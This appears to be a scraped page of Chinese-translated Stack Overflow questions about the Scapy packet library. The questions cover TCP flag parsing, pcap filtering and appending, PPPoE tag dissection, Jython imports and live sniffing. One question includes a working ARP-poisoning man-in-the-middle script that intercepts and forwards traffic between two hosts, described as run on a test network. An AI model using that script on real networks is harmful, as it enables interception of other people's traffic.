我需要腌制一个scapy包.大部分时间都可以使用,但有时候pickler会抱怨一个函数对象.根据经验:ARP数据包泡菜很好.一些UDP数据包存在问题.
我正在解析PCAP文件,我需要提取TCP标志(SYN,ACK,PSH,URG,...).我正在使用该packet['TCP'].flags值一次获取所有标志.
pkts = PcapReader(infile)
for p in pkts:
F = bin(p['TCP'].flags)
print F, bin(F), p.summary()
# manual flags extraction from F
Run Code Online (Sandbox Code Playgroud)
有没有办法获得单个TCP标志而无需手动从packet['TCP'].flags值中提取它?
我有一些pcap文件,我想按协议过滤,即,如果我想通过HTTP协议过滤,除HTTP数据包之外的任何东西都将保留在pcap文件中.
有一个名为openDPI的工具,它非常适合我需要的工具,但没有python语言的包装器.
有谁知道任何可以做我需要的python模块?
谢谢
编辑1:
HTTP过滤只是一个例子,我想要过滤很多协议.
编辑2:
我试过Scapy,但我不知道如何正确过滤.过滤器只接受Berkeley Packet Filter表达式,即我无法应用msn,HTTP或上层的其他特定过滤器.谁能帮我?
我在jython下导入scapy时遇到了一些问题.我一直在做java,但python只用了一两天.
重现问题的简单案例是:
$jython
>>> import sys
>>> sys.path
['', '/usr/share/jython/Lib', '/usr/lib/site-python', '__classpath__']
>>> from scapy.all import *
Traceback (innermost last):
File "<console>", line 1, in ?
ImportError: no module named scapy
Run Code Online (Sandbox Code Playgroud)
如果我完成这些完全相同的步骤python,一切正常.我怎么告诉jython使用scapy?如果它有帮助,我正在运行ubuntu 10.04并安装了jython和scapy viaapt-get install
我试图用Scapy正确剖析PPPoE Discovery数据包.以下是Scapy如何显示示例PADI数据包:
>>> p = Ether("\xff\xff\xff\xff\xff\xff\x08\x00'\xf3<5\x88c\x11\t\x00\x00\x00\x0c\x01\x01\x00\x00\x01\x03\x00\x04\xe0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
>>> p.show()
###[ Ethernet ]###
dst= ff:ff:ff:ff:ff:ff
src= 08:00:27:f3:3c:35
type= 0x8863
###[ PPP over Ethernet Discovery ]###
version= 1L
type= 1L
code= PADI
sessionid= 0x0
len= 12
###[ Raw ]###
load= '\x01\x01\x00\x00\x01\x03\x00\x04\xe0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Run Code Online (Sandbox Code Playgroud)
我想解析Raw有效负载.此有效负载只是一个PPPoE标记列表.每个标签由两个字节的代码字段,两个字节长度的字段和一个值组成(当然,它是由前一个字段给出的长度).
这是我尝试代表所有这些:
from scapy.all import *
class PPPoETag(Packet):
name = "PPPoE Tag"
fields_desc = [ ShortEnumField('tag_type', None,
{0x0000: 'End-Of-List',
0x0101: 'Service-Name',
0x0102: 'AC-Name',
0x0103: 'Host-Uniq',
0x0104: 'AC-Cookie',
0x0105: 'Vendor-Specific',
0x0110: 'Relay-Session-Id',
0x0201: 'Service-Name-Error',
0x0202: 'AC-System-Error',
0x0203: 'Generic-Error'}),
FieldLenField('tag_len', None, length_of='tag_value', fmt='H'),
StrLenField('tag_value', …Run Code Online (Sandbox Code Playgroud) Scapy会与Python 3.2兼容吗?我一直试图找到一些关于它如何执行的信息,因为Scapy网站上有关于Python 3.X兼容性的相当稀少(如果有的话)信息,而且我没有提供任何信息.有没有人尝试在Python 3.X上使用它以及它是如何执行的?
我正试图scapy在测试网络上做一个中间人攻击的人.我的设置是这样的:

现在你明白了,这是代码:
from scapy.all import *
import multiprocessing
import time
class MITM:
packets=[]
def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
self.victim=victim
self.node2=node2
multiprocessing.Process(target=self.arp_poison).start()
try:
sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
except KeyboardInterrupt as e:
wireshark(packets)
#self.arp_poison()
def routep(self,packet):
if packet.haslayer(IP):
packet.show()
if packet[IP].dst==self.victim[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.victim[1]
elif packet[IP].dst==self.node2[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.node2[1]
self.packets.append(packet)
packet.display()
send(packet)
print len(self.packets)
if len(self.packets)==10:
wireshark(self.packets)
def arp_poison(self):
a=ARP()
a.psrc=self.victim[0]
a.pdst=self.node2[0]
b=ARP()
b.psrc=self.node2[0]
b.pdst=self.victim[0]
cond=True
while cond:
send(b)
send(a)
time.sleep(5)
#cond=False
if …Run Code Online (Sandbox Code Playgroud) 我正在使用scapy它python来嗅到实时流量.
capture=sniff(iface="<My Interface>", filter="tcp")
Run Code Online (Sandbox Code Playgroud)
但是这会嗅探每个数据包并将其添加到列表中capture,以便稍后处理.
我想要处理一个数据包并显示数据包的几个字段,只要它被嗅到.即,在嗅探数据包时,它将触发一个我可以分析该数据包的功能.对于少数数据包,这将继续.
我已经准备好了我正在使用捕获的数据包列表的功能.但是我无法将它用于每个实时数据包.
怎么实现呢?有可能scapy或者我需要安装任何其他包吗?
我有一些软件可以模拟BER和网络延迟等问题.我需要一种方法来测试软件的BER模块,以确保它真正正常工作.我的解决方案是创建一个程序,发送原始以太网帧,类型字段设置为未使用的类型.以太网帧内部只是随机位.对于发出的每个帧,我需要将帧记录到pcap文件中.在网络链路的另一端将是一个接收应用程序,它只是将它看到的每个数据包写入自己的pcap日志.测试完成后,将比较两个pcap日志以获得BER.
我正在使用python模块Scapy,到目前为止它完成了我需要的一切.我可以发送带有随机数据的原始以太网帧,并在Wireshark中查看它们.但是,我不知道如何将wrpcap()方法附加到pcap文件,而不是覆盖.我知道我可以写一个包列表wrpcap,但是这个应用程序需要能够无限期地运行,我不想等到应用程序退出写入发送到硬盘的所有数据包.因为在内存中存储很多,如果发生了什么事,我将不得不从头开始测试.
我的问题是:如何pcap使用scapy而不是覆盖文件来附加到pcap文件?它甚至可能吗?如果不是那么什么模块可以做我需要的?
在寻找Scapy具有我的功能的东西时,我遇到了dpkt,但我没有找到很多文档.可以dpkt做我想问的问题,如果可以,我可以在哪里获得一些好的文档呢?
使用python数据包解析/嗅探工具Scapy,我想从原始字节串创建一个数据包.虽然我的具体用例的细节更加真实,但以下示例说明了我的问题以及我目前的尝试:
# Get an example packet (we won't really have an offline file in production.)
pkt = sniff(offline="./example_packets/example_packets2.pcap")
# Convert it to raw bytes -- oddly __str__ does this.
raw_packet = str(pkt)
# Current, broken, attempt to construct a new packet from the same bytes as the old.
# In truth, there are easier ways to copy packets from existing Scapy packets, but
# we are really just using that offline packet as a convenient example.
new_packet = Packet(_pkt=raw_packet)
# …Run Code Online (Sandbox Code Playgroud) scapy ×10
python ×9
networking ×2
exploit ×1
filter ×1
import ×1
importerror ×1
jython ×1
packet ×1
pcap ×1
pickle ×1
pppoe ×1
python-3.x ×1
raw-ethernet ×1
tcp ×1